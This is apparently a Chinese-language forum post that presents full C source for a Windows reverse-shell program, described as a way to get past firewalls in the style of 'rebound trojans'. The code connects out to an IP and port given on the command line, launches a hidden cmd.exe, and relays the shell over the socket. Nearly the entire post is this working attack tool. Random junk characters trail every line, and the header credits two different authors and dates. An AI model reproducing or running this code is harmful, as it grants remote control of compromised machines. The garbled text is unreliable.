这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 1n`1o-&l-
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/* ============================== zd9]qo
Rebound port in Windows NT !rXcGj(k
By wind,2006/7 9fuJJ3L[
===============================*/ ^'7C0ps+A
#include q qe2,X?
#include [{@zb-h
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#pragma comment(lib,"wsock32.lib") *f
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void OutputShell(); #H;hRl
SOCKET sClient; NuD[-;N]
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; e?!L}^f6X
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void main(int argc,char **argv) _V& !4Zd9:
{ zkh hN"bX
WSADATA stWsaData; sOl>5:D6
int nRet; oSn! "<x
SOCKADDR_IN stSaiClient,stSaiServer; Qsg/V]
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if(argc != 3) {Z#e{~m#
{ qx2E-PDL;<
printf("Useage:\n\rRebound DestIP DestPort\n"); |.(CIu~b
return; 4bi NGl~
} i,#k}CNu
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WSAStartup(MAKEWORD(2,2),&stWsaData); F!gNt<fZ
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2~!R*i
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stSaiClient.sin_family = AF_INET; dn ZzA
stSaiClient.sin_port = htons(0); #ya\Jdx
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); (*6m^
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) pb^,Qvnp
{ bVoU|`c
printf("Bind Socket Failed!\n"); +VCo$o
return; HDmx@E.@
} F{k$Atb?g/
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stSaiServer.sin_family = AF_INET; MA\m[h]
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 7qe7Fl3
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); /!GKh5|
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Eh\ 1O(a(
{ 9>by~4An?
printf("Connect Error!"); .,3Zj /
return; d^F|lc ]8
} -2F@~m|
OutputShell(); i"vawxm
} [X,A'Q
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void OutputShell() @}<"N
{ 4%
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char szBuff[1024]; A1^Ga5 B>
SECURITY_ATTRIBUTES stSecurityAttributes; *>jjMy n
OSVERSIONINFO stOsversionInfo; z[fB!O
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; o+nG3kRD
STARTUPINFO stStartupInfo; UVB/vqGg
char *szShell; CRFCqmevR
PROCESS_INFORMATION stProcessInformation; gQ37>
unsigned long lBytesRead; ~e P
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); >$\Bu]{1
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ?^ZXU0IkP
stSecurityAttributes.lpSecurityDescriptor = 0; n` q2s'Pc
stSecurityAttributes.bInheritHandle = TRUE; #EbGL])F}
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); XS?gn.o\
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 5IW8=$k~.)
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 9R
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OL'P]=U
stStartupInfo.wShowWindow = SW_HIDE; xjo;kx\y^
stStartupInfo.hStdInput = hReadPipe; x4m 5JDC
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; +2RNZEc
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GetVersionEx(&stOsversionInfo); %-+j
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switch(stOsversionInfo.dwPlatformId) -v]Qhf&>
{ R(k}y,eh.`
case 1: #)s!}X^
szShell = "command.com"; 6<X%\[)n
break; FJeiY#us
default: ;o0#(xVz
szShell = "cmd.exe"; A%u_&a}
break; mdW~~-@H
} X32C}4-B
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 1l5JP|x
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send(sClient,szMsg,77,0); {E A1vo"
while(1) @MiH(.Dq
{ }4&/VvN
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); P(,?#+]-
if(lBytesRead) w##^}nHOR
{ nirDMw[
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); A#rh@8h+
send(sClient,szBuff,lBytesRead,0); fE]XWA4U
} Zd!U')5/
else =Mj0:rW
{ =dZHYO^Cv
lBytesRead=recv(sClient,szBuff,1024,0); D3D}DaEYj
if(lBytesRead<=0) break; uo2'"@[e
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ! zL1;d
} tF7hFL5f
} Io n~
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return; X(@uw X$m
}